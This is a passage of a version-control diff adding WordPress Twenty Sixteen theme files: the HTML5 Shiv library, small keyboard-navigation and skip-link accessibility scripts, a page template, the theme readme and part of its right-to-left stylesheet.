+* @preserve HTML5 Shiv 3.7.3 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+;(function(window, document) {
+/*jshint evil:true */
+  /** version */
+  var version = '3.7.3';
+
+  /** Preset options */
+  var options = window.html5 || {};
+
+  /** Used to skip problem elements */
+  var reSkip = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i;
+
+  /** Not all elements can be cloned in IE **/
+  var saveClones = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i;
+
+  /** Detect whether the browser supports default html5 styles */
+  var supportsHtml5Styles;
+
+  /** Name of the expando, to work with multiple documents or to re-shiv one document */
+  var expando = '_html5shiv';
+
+  /** The id for the the documents expando */
+  var expanID = 0;
+
+  /** Cached data for each document */
+  var expandoData = {};
+
+  /** Detect whether the browser supports unknown elements */
+  var supportsUnknownElements;
+
+  (function() {
+    try {
+        var a = document.createElement('a');
+        a.innerHTML = '<xyz></xyz>';
+        //if the hidden property is implemented we can assume, that the browser supports basic HTML5 Styles
+        supportsHtml5Styles = ('hidden' in a);
+
+        supportsUnknownElements = a.childNodes.length == 1 || (function() {
+          // assign a false positive if unable to shiv
+          (document.createElement)('a');
+          var frag = document.createDocumentFragment();
+          return (
+            typeof frag.cloneNode == 'undefined' ||
+            typeof frag.createDocumentFragment == 'undefined' ||
+            typeof frag.createElement == 'undefined'
+          );
+        }());
+    } catch(e) {
+      // assign a false positive if detection fails => unable to shiv
+      supportsHtml5Styles = true;
+      supportsUnknownElements = true;
+    }
+
+  }());
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Creates a style sheet with the given CSS text and adds it to the document.
+   * @private
+   * @param {Document} ownerDocument The document.
+   * @param {String} cssText The CSS text.
+   * @returns {StyleSheet} The style element.
+   */
+  function addStyleSheet(ownerDocument, cssText) {
+    var p = ownerDocument.createElement('p'),
+        parent = ownerDocument.getElementsByTagName('head')[0] || ownerDocument.documentElement;
+
+    p.innerHTML = 'x<style>' + cssText + '</style>';
+    return parent.insertBefore(p.lastChild, parent.firstChild);
+  }
+
+  /**
+   * Returns the value of `html5.elements` as an array.
+   * @private
+   * @returns {Array} An array of shived element node names.
+   */
+  function getElements() {
+    var elements = html5.elements;
+    return typeof elements == 'string' ? elements.split(' ') : elements;
+  }
+
+  /**
+   * Extends the built-in list of html5 elements
+   * @memberOf html5
+   * @param {String|Array} newElements whitespace separated list or array of new element names to shiv
+   * @param {Document} ownerDocument The context document.
+   */
+  function addElements(newElements, ownerDocument) {
+    var elements = html5.elements;
+    if(typeof elements != 'string'){
+      elements = elements.join(' ');
+    }
+    if(typeof newElements != 'string'){
+      newElements = newElements.join(' ');
+    }
+    html5.elements = elements +' '+ newElements;
+    shivDocument(ownerDocument);
+  }
+
+   /**
+   * Returns the data associated to the given document
+   * @private
+   * @param {Document} ownerDocument The document.
+   * @returns {Object} An object of data.
+   */
+  function getExpandoData(ownerDocument) {
+    var data = expandoData[ownerDocument[expando]];
+    if (!data) {
+        data = {};
+        expanID++;
+        ownerDocument[expando] = expanID;
+        expandoData[expanID] = data;
+    }
+    return data;
+  }
+
+  /**
+   * returns a shived element for the given nodeName and document
+   * @memberOf html5
+   * @param {String} nodeName name of the element
+   * @param {Document|DocumentFragment} ownerDocument The context document.
+   * @returns {Object} The shived element.
+   */
+  function createElement(nodeName, ownerDocument, data){
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    if(supportsUnknownElements){
+        return ownerDocument.createElement(nodeName);
+    }
+    if (!data) {
+        data = getExpandoData(ownerDocument);
+    }
+    var node;
+
+    if (data.cache[nodeName]) {
+        node = data.cache[nodeName].cloneNode();
+    } else if (saveClones.test(nodeName)) {
+        node = (data.cache[nodeName] = data.createElem(nodeName)).cloneNode();
+    } else {
+        node = data.createElem(nodeName);
+    }
+
+    // Avoid adding some elements to fragments in IE < 9 because
+    // * Attributes like `name` or `type` cannot be set/changed once an element
+    //   is inserted into a document/fragment
+    // * Link elements with `src` attributes that are inaccessible, as with
+    //   a 403 response, will cause the tab/window to crash
+    // * Script elements appended to fragments will execute when their `src`
+    //   or `text` property is set
+    return node.canHaveChildren && !reSkip.test(nodeName) && !node.tagUrn ? data.frag.appendChild(node) : node;
+  }
+
+  /**
+   * returns a shived DocumentFragment for the given document
+   * @memberOf html5
+   * @param {Document} ownerDocument The context document.
+   * @returns {Object} The shived DocumentFragment.
+   */
+  function createDocumentFragment(ownerDocument, data){
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    if(supportsUnknownElements){
+        return ownerDocument.createDocumentFragment();
+    }
+    data = data || getExpandoData(ownerDocument);
+    var clone = data.frag.cloneNode(),
+        i = 0,
+        elems = getElements(),
+        l = elems.length;
+    for(;i<l;i++){
+        clone.createElement(elems[i]);
+    }
+    return clone;
+  }
+
+  /**
+   * Shivs the `createElement` and `createDocumentFragment` methods of the document.
+   * @private
+   * @param {Document|DocumentFragment} ownerDocument The document.
+   * @param {Object} data of the document.
+   */
+  function shivMethods(ownerDocument, data) {
+    if (!data.cache) {
+        data.cache = {};
+        data.createElem = ownerDocument.createElement;
+        data.createFrag = ownerDocument.createDocumentFragment;
+        data.frag = data.createFrag();
+    }
+
+
+    ownerDocument.createElement = function(nodeName) {
+      //abort shiv
+      if (!html5.shivMethods) {
+          return data.createElem(nodeName);
+      }
+      return createElement(nodeName, ownerDocument, data);
+    };
+
+    ownerDocument.createDocumentFragment = Function('h,f', 'return function(){' +
+      'var n=f.cloneNode(),c=n.createElement;' +
+      'h.shivMethods&&(' +
+        // unroll the `createElement` calls
+        getElements().join().replace(/[\w\-:]+/g, function(nodeName) {
+          data.createElem(nodeName);
+          data.frag.createElement(nodeName);
+          return 'c("' + nodeName + '")';
+        }) +
+      ');return n}'
+    )(html5, data.frag);
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Shivs the given document.
+   * @memberOf html5
+   * @param {Document} ownerDocument The document to shiv.
+   * @returns {Document} The shived document.
+   */
+  function shivDocument(ownerDocument) {
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    var data = getExpandoData(ownerDocument);
+
+    if (html5.shivCSS && !supportsHtml5Styles && !data.hasCSS) {
+      data.hasCSS = !!addStyleSheet(ownerDocument,
+        // corrects block display not defined in IE6/7/8/9
+        'article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}' +
+        // adds styling not present in IE6/7/8/9
+        'mark{background:#FF0;color:#000}' +
+        // hides non-rendered elements
+        'template{display:none}'
+      );
+    }
+    if (!supportsUnknownElements) {
+      shivMethods(ownerDocument, data);
+    }
+    return ownerDocument;
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * The `html5` object is exposed so that more elements can be shived and
+   * existing shiving can be detected on iframes.
+   * @type Object
+   * @example
+   *
+   * // options can be changed before the script is included
+   * html5 = { 'elements': 'mark section', 'shivCSS': false, 'shivMethods': false };
+   */
+  var html5 = {
+
+    /**
+     * An array or space separated string of node names of the elements to shiv.
+     * @memberOf html5
+     * @type Array|String
+     */
+    'elements': options.elements || 'abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video',
+
+    /**
+     * current version of html5shiv
+     */
+    'version': version,
+
+    /**
+     * A flag to indicate that the HTML5 style sheet should be inserted.
+     * @memberOf html5
+     * @type Boolean
+     */
+    'shivCSS': (options.shivCSS !== false),
+
+    /**
+     * Is equal to true if a browser supports creating unknown/HTML5 elements
+     * @memberOf html5
+     * @type boolean
+     */
+    'supportsUnknownElements': supportsUnknownElements,
+
+    /**
+     * A flag to indicate that the document's `createElement` and `createDocumentFragment`
+     * methods should be overwritten.
+     * @memberOf html5
+     * @type Boolean
+     */
+    'shivMethods': (options.shivMethods !== false),
+
+    /**
+     * A string to describe the type of `html5` object ("default" or "default print").
+     * @memberOf html5
+     * @type String
+     */
+    'type': 'default',
+
+    // shivs the document according to the specified `html5` object options
+    'shivDocument': shivDocument,
+
+    //creates a shived element
+    createElement: createElement,
+
+    //creates a shived documentFragment
+    createDocumentFragment: createDocumentFragment,
+
+    //extends list of elements
+    addElements: addElements
+  };
+
+  /*--------------------------------------------------------------------------*/
+
+  // expose html5
+  window.html5 = html5;
+
+  // shiv the document
+  shivDocument(document);
+
+  if(typeof module == 'object' && module.exports){
+    module.exports = html5;
+  }
+
+}(typeof window !== "undefined" ? window : this, document));
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/keyboard-image-navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/keyboard-image-navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/keyboard-image-navigation.js	(revision 56912)
@@ -0,0 +1,26 @@
+/**
+ * Twenty Sixteen keyboard support for image navigation.
+ */
+
+( function( $ ) {
+	$( document ).on( 'keydown.twentysixteen', function( e ) {
+		var url = false;
+
+		// Left arrow key code.
+		if ( 37 === e.which ) {
+			url = $( '.nav-previous a' ).attr( 'href' );
+
+		// Right arrow key code.
+		} else if ( 39 === e.which ) {
+			url = $( '.nav-next a' ).attr( 'href' );
+
+		// Other key code.
+		} else {
+			return;
+		}
+
+		if ( url && ! $( 'textarea, input' ).is( ':focus' ) ) {
+			window.location = url;
+		}
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/skip-link-focus-fix.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/skip-link-focus-fix.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/skip-link-focus-fix.js	(revision 56912)
@@ -0,0 +1,36 @@
+/**
+ * Makes "skip to content" link work correctly in IE9, Chrome, and Opera
+ * for better accessibility.
+ *
+ * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+ */
+
+ ( function() {
+	var isWebkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1,
+		isOpera  = navigator.userAgent.toLowerCase().indexOf( 'opera' )  > -1,
+		isIE     = navigator.userAgent.toLowerCase().indexOf( 'msie' )   > -1;
+
+	if ( ( isWebkit || isOpera || isIE ) && document.getElementById && window.addEventListener ) {
+		window.addEventListener( 'hashchange', function() {
+			var id = location.hash.substring( 1 ),
+				element;
+
+			if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {
+				return;
+			}
+
+			element = document.getElementById( id );
+
+			if ( element ) {
+				if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) {
+					element.tabIndex = -1;
+				}
+
+				element.focus();
+
+				// Repositions the window on jump-to-anchor to account for admin bar and border height.
+				window.scrollBy( 0, -53 );
+			}
+		}, false );
+	}
+} )();
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/page.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that
+ * other "pages" on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="primary" class="content-area">
+	<main id="main" class="site-main" role="main">
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			// Include the page content template.
+			get_template_part( 'template-parts/content', 'page' );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) {
+				comments_template();
+			}
+
+			// End of the loop.
+		endwhile;
+		?>
+
+	</main><!-- .site-main -->
+
+	<?php get_sidebar( 'content-bottom' ); ?>
+
+</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/readme.txt	(revision 56912)
@@ -0,0 +1,106 @@
+=== Twenty Sixteen ===
+Contributors: the WordPress team
+Requires at least: WordPress 4.4
+Tested up to: WordPress 5.0
+Version: 1.8
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: one-column, two-columns, right-sidebar, accessibility-ready, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-images, flexible-header, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready, blog
+
+== Description ==
+Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere.
+
+* Mobile-first, Responsive Layout
+* Custom Colors
+* Custom Header
+* Social Links
+* Post Formats
+* The GPL v2.0 or later license. :) Use it to make something cool.
+
+For more information about Twenty Sixteen please go to https://codex.wordpress.org/Twenty_Sixteen.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Sixteen in the search form and press the 'Enter' key on your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Sixteen for a guide on how to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel and customize to taste.
+
+== Copyright ==
+
+Twenty Sixteen WordPress Theme, Copyright 2014-2018 WordPress.org
+Twenty Sixteen is distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Sixteen Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+Genericons icon font, Copyright 2013-2017 Automattic.com
+License: GNU GPL, Version 2 (or later)
+Source: http://www.genericons.com
+
+Image used in screenshot.png: A photo by Austin Schmid (https://unsplash.com/schmidy/), licensed under Creative Commons Zero(http://creativecommons.org/publicdomain/zero/1.0/)
+
+== Changelog ==
+
+= 1.8 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: August 16, 2016
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: January 6, 2016
+
+https://codex.wordpress.org/Twenty_Sixteen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: December 8, 2015
+
+Initial release
+
+== Notes ==
+
+Only the default and dark color schemes are accessibility ready.
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/rtl.css	(revision 56912)
@@ -0,0 +1,756 @@
+/*
+Theme Name: Twenty Sixteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See: https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Normalize
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Forms
+ * 5.0 - Navigations
+ * 6.0 - Accessibility
+ * 7.0 - Widgets
+ * 8.0 - Content
+ *   8.1 - Header
+ *   8.2 - Posts and pages
+ *   8.3 - Comments
+ *   8.4 - Footer
+ * 9.0 - Multisites
+ * 10.0 - Media Queries
+ *    10.1 - >= 710px
+ *    10.2 - >= 910px
+ *    10.3 - >= 985px
+ *    10.4 - >= 1200px
+ */
+
+
+/**
+ * 1.0 - Normalize
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	margin-right: auto;
+	margin-left: 0.4375em;
+}
+
+
+/**
+ * 2.0 - Typography
+ */
+
+body,
+button,
+button[disabled]:hover,
+button[disabled]:focus,
+input[type="button"],
+input[type="button"][disabled]:hover,
+input[type="button"][disabled]:focus,
+input[type="reset"],
+input[type="reset"][disabled]:hover,
+input[type="reset"][disabled]:focus,
+input[type="submit"],
+input[type="submit"][disabled]:hover,
+input[type="submit"][disabled]:focus,
+input,
+select,
+textarea,
+.post-password-form label,
+.main-navigation,
+.post-navigation,
+.post-navigation .post-title,
+.pagination,
+.image-navigation,
+.comment-navigation,
+.site .skip-link,
+.logged-in .site .skip-link,
+.widget .widget-title,
+.widget_recent_entries .post-date,
+.widget_rss .rss-date,
+.widget_rss cite,
+.tagcloud a,
+.site-title,
+.entry-title,
+.entry-footer,
+.sticky-post,
+.page-title,
+.page-links,
+.comments-title,
+.comment-reply-title,
+.comment-metadata,
+.pingback .edit-link,
+.comment-reply-link,
+.comment-form label,
+.no-comments,
+.required,
+.site-footer .site-title,
+.site-footer .site-title:after,
+.widecolumn label,
+.widecolumn .mu_register label,
+.site-footer span[role=separator] {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-webkit-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-ms-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+blockquote {
+	border-right-width: 4px;
+	border-left-width: 0;
+	padding-right: 1.263157895em;
+	padding-left: 0;
+}
+
+.entry-content h1,
+.entry-content h2,
+.entry-content h3,
+.entry-content h4,
+.entry-content h5,
+.entry-content h6,
+.entry-summary h1,
+.entry-summary h2,
+.entry-summary h3,
+.entry-summary h4,
+.entry-summary h5,
+.entry-summary h6,
+.comment-content h1,
+.comment-content h2,
+.comment-content h3,
+.comment-content h4,
+.comment-content h5,
+.comment-content h6,
+.textwidget h1,
+.textwidget h2,
+.textwidget h3,
+.textwidget h4,
+.textwidget h5,
+.textwidget h6,
+.entry-content .author-title,
+.widget_calendar caption,
+.widecolumn h2 {
+	font-weight: 700;
+}
+
+
+/**
+ * 3.0 - Elements
+ */
+
+ul,
+ol {
+	margin: 0 1.25em 1.75em 0;
+}
+
+ol {
+	margin-right: 1.5em;
+	margin-left: 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 4.0 - Forms
+ */
+
+input[type="search"].search-field {
+	border-radius: 0 2px 2px 0;
+}
+
+.search-submit:before {
+	left: 1px;
+}
+
+.search-submit {
+	border-radius: 2px 0 0 2px;
+	left: 0;
+	right: auto;
+}
+
+
+/**
+ * 5.0 - Navigation
+ */
+
+.main-navigation ul ul {
+	margin-right: 0.875em;
+	margin-left: auto;
+}
+
+.main-navigation .menu-item-has-children > a {
+	margin-right: auto;
+	margin-left: 56px;
+}
+
+.dropdown-toggle {
+	left: 0;
+	right: auto;
+}
+
+.dropdown-toggle:after {
+	border-right-width: 1px;
+	border-left-width: 0;
+	left: auto;
+	right: 1px;
+}
+
+.social-navigation li {
+	float: right;
+	margin: 0 0 0.4375em 0.4375em;
+}
+
+.pagination:before {
+	left: 0;
+	right: auto;
+}
+
+.pagination:after {
+	left: 54px;
+	right: auto;
+}
+
+.pagination .nav-links {
+	padding-right: 0;
+	padding-left: 106px;
+}
+
+.pagination .nav-links:before {
+	content: "\f430";
+	left: -1px;
+	right: auto;
+}
+
+.pagination .nav-links:after {
+	content: "\f429";
+	left: 55px;
+	right: auto;
+}
+
+.pagination .page-numbers {
+	margin: 0 -0.7368421053em 0 0.7368421053em;
+}
+
+.pagination .prev,
+.pagination .next {
+	margin: 0;
+}
+
+.pagination .prev {
+	left: 54px;
+	right: auto;
+}
+
+.pagination .prev:before {
+	content: "\f429";
+	left: auto;
+	right: -1px;
+}
+
+.pagination .next {
+	left: 0;
+	right: auto;
+}
+
+.pagination .next:before {
+	content: "\f430";
+	left: -1px;
+	right: auto;
+}
+
+.comment-navigation {
+	margin-right: 0;
+	margin-left: 0;
+}
+
+
+/**
+ * 6.0 - Accessibility
+ */
+
+.site .skip-link {
+	left: auto;
+	right: -9999em;
+}
+
+.site .skip-link:focus {
+	left: auto;
+	right: 6px;
+}
+
+
+/**
+ * 7.0 - Widgets
+ */
+
+.tagcloud a {
+	margin-right: 0;
+	margin-left: 0.1875em;
+}
+
+.tagcloud ul {
+	margin-right: 0;
+}
+
+
+/**
+ * 8.0 - Content
+ */
+
+
+/**
+ * 8.1 - Header
+ */
+
+.site-branding {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+
+/**
+ * 8.2 - Posts and pages
+ */
+
+.author-avatar .avatar {
+	float: right;
+	margin-right: 0;
+	margin-left: 1.75em;
+}
+
+.entry-footer .avatar {
+	margin-right: 0;
+	margin-left: 0.5384615385em;
+}
+
+.page-links a,
+.page-links > span {
+	margin-right: auto;
+	margin-left: 0.3076923077em;
+}
+
+.page-links > .page-links-title {
+	padding-right: 0;
+	padding-left: 0.6153846154em;
+}
+
+body:not(.search-results) .entry-summary .alignright {
+	margin: 0.2631578947em 0 1.4736842105em 1.4736842105em;
+}
+
+body:not(.search-results) .entry-summary .alignleft {
+	margin: 0.2631578947em 1.4736842105em 1.4736842105em 0;
+}
+
+
+/**
+ * 8.3 - Comments
+ */
+
+.comment-list .children > li {
+	padding-right: 0.875em;
+	padding-left: 0;
+}
+
+.comment-author .avatar {
+	float: right;
+	margin-right: auto;
+	margin-left: 0.875em;
+}
+
+.bypostauthor > article .fn:after {
+	left: auto;
+	right: 3px;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 1.25em 1.5em 0;
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+.comment-form .comment-form-cookies-consent label {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+/**
+ * 9.0 - Multisites
+ */
+
+.widecolumn .mu_register label {
+	margin-right: 0;
+	margin-left: 0.7692307692em;
+}
+
+
+/**
+ * 10.0 - Media Queries
+ */
+
+
+/**
+ * 10.1 - >= 710px
+ */
+
+@media screen and (min-width: 44.375em) {
+	.pagination {
+		margin: 0 7.6923% 4.421052632em 23.0769%;
+	}
+
+	.entry-header,
+	.post-thumbnail,
+	.entry-content,
+	.entry-summary,
+	.entry-footer,
+	.comments-area,
+	.image-navigation,
+	.post-navigation,
+	.page-header,
+	.page-content,
+	.content-bottom-widgets {
+		margin-right: 7.6923%;
+		margin-left: 23.0769%;
+	}
+
+	.entry-content blockquote:not(.alignright):not(.alignleft),
+	.entry-summary blockquote,
+	.comment-content blockquote {
+		margin-right: -1.473684211em;
+		margin-left: auto;
+	}
+
+	.entry-content blockquote blockquote:not(.alignright):not(.alignleft),
+	.entry-summary blockquote blockquote,
+	.comment-content blockquote blockquote {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.entry-content ul,
+	.entry-summary ul,
+	.comment-content ul,
+	.entry-content ol,
+	.entry-summary ol,
+	.comment-content ol {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.entry-content li > ul,
+	.entry-summary li > ul,
+	.comment-content li > ul,
+	.entry-content blockquote > ul,
+	.entry-summary blockquote > ul,
+	.comment-content blockquote > ul {
+		margin-right: 1.25em;
+		margin-left: auto;
+	}
+
+	.entry-content li > ol,
+	.entry-summary li > ol,
+	.comment-content li > ol,
+	.entry-content blockquote > ol,
+	.entry-summary blockquote > ol,
+	.comment-content blockquote > ol {
+		margin-right: 1.5em;
+		margin-left: auto;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.75em;
+		padding-left: 0;
+	}
+
+	.sidebar,
+	.widecolumn {
+		padding-right: 7.6923%;
+		padding-left: 23.0769%;
+	}
+
+	body:not(.search-results) .entry-summary li > ul,
+	body:not(.search-results) .entry-summary blockquote > ul {
+		margin-right: 1.157894737em;
+		margin-left: auto;
+	}
+
+	body:not(.search-results) .entry-summary li > ol,
+	body:not(.search-results) .entry-summary blockquote > ol {
+		margin-right: 1.473684211em;
+		margin-left: auto;
+	}
+}
+
+
+/**
+ * 10.2 - >= 910px
+ */
+
+@media screen and (min-width: 56.875em) {
+	.main-navigation .primary-menu > li {
+		float: right;
+	}
+
+	.main-navigation ul ul {
+		left: auto;
+		margin: 0;
+		right: -999em;
+	}
+
+	.main-navigation ul ul:before {
+		left: 9px;
+		right: auto;
+	}
+
+	.main-navigation ul ul:after {
+		left: 11px;
+		right: auto;
+	}
+
+	.main-navigation li:hover > ul,
+	.main-navigation li.focus > ul {
+		left: 0;
+		right: auto;
+	}
+
+	.main-navigation ul ul li:hover > ul,
+	.main-navigation ul ul li.focus > ul {
+		left: 100%;
+		right: auto;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		margin: 0;
+		padding-right: 0.875em;
+		padding-left: 2.25em;
+	}
+
+	.main-navigation .menu-item-has-children > a:after {
+		left: 0.625em;
+		right: auto;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a {
+		padding-right: 0.875em;
+		padding-left: 2.0625em;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a:after {
+		left: 0.5625em;
+		right: auto;
+		top: 0.8125em;
+		-webkit-transform: rotate(-90deg);
+		-moz-transform: rotate(-90deg);
+		-ms-transform: rotate(-90deg);
+		transform: rotate(-90deg);
+	}
+
+	.content-area {
+		float: right;
+		margin-right: auto;
+		margin-left: -100%;
+	}
+
+	.entry-header,
+	.post-thumbnail,
+	.entry-content,
+	.entry-summary,
+	.entry-footer,
+	.comments-area,
+	.image-navigation,
+	.post-navigation,
+	.pagination,
+	.page-header,
+	.page-content,
+	.content-bottom-widgets {
+		margin-right: 0;
+		margin-left: 0;
+	}
+
+	.sidebar {
+		float: right;
+		margin-right: 75%;
+		margin-left: auto;
+		padding: 0;
+	}
+
+	.widget blockquote {
+		padding-right: 1.0625em;
+		padding-left: 0;
+	}
+
+	.widget .alignright {
+		margin: 0.2307692308em 0 1.6153846154em 1.6153846154em;
+	}
+
+	.widget .alignleft {
+		margin: 0.2307692308em 1.6153846154em 1.6153846154em 0;
+	}
+
+	.tagcloud a {
+		margin: 0 0 0.5384615385em 0.2307692308em;
+	}
+
+	.content-bottom-widgets .widget-area:nth-child(1):nth-last-child(2),
+	.content-bottom-widgets .widget-area:nth-child(2):nth-last-child(1) {
+		float: right;
+		margin-right: auto;
+		margin-left: 7.1428571%;
+	}
+
+	.content-bottom-widgets .widget-area:nth-child(2):nth-last-child(1):last-of-type {
+		margin-right: auto;
+		margin-left: 0;
+	}
+
+	.site-info {
+		margin: 0.538461538em 0 0.538461538em auto;
+	}
+
+	.no-sidebar .entry-header,
+	.no-sidebar .entry-content,
+	.no-sidebar .entry-summary,
+	.no-sidebar .entry-footer,
+	.no-sidebar .comments-area,
+	.no-sidebar .image-navigation,
+	.no-sidebar .post-navigation,
+	.no-sidebar .pagination,
+	.no-sidebar .page-header,
+	.no-sidebar .page-content,
+	.no-sidebar .content-bottom-widgets {
+		margin-right: 15%;
+		margin-left: 15%;
+	}
+
+	.no-sidebar .post-thumbnail {
+		margin-right: 0;
+		margin-left: 0;
+	}
+
+	.widecolumn {
+		padding-right: 15%;
+		padding-left: 15%;
+	}
+}
+
+
+/**
+ * 10.3 - >= 985px
+ */
+
+@media screen and (min-width: 61.5625em) {
+	body:not(.search-results) article:not(.type-page) .entry-content {
+		float: left;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-content > blockquote.alignleft.below-entry-meta {
+		margin-right: 1.473684211em;
+		margin-left: 0;
+		width: -webkit-calc(50% - 0.736842105em);
+		width: calc(50% - 0.736842105em);;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-content > blockquote.alignright.below-entry-meta {
+		margin-right: -40%;
+		margin-left: 1.473684211em;
+		width: -webkit-calc(60% - 1.4736842105em);
+		width: calc(60% - 1.4736842105em);
+	}
+
+	body:not(.search-results) article:not(.type-page) img.below-entry-meta,
+	body:not(.search-results) article:not(.type-page) figure.below-entry-meta {
+		margin-right: -40%;
+		margin-left: 0;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-footer {
+		float: right;
+	}
+
+	body.no-sidebar:not(.search-results) article:not(.type-page) .entry-content {
+		float: right;
+		margin-right: 34.99999999%;
+		margin-left: -100%;
+	}
+
+	body.no-sidebar:not(.search-results) article:not(.type-page) .entry-footer {
+		margin-right: 15%;
+		margin-left: -100%;
+	}
+}
+
+
+/**
+ * 10.4 - >= 1200px
+ */
+
+@media screen and (min-width: 75em) {
+	body:not(.search-results) .entry-summary li > ul,
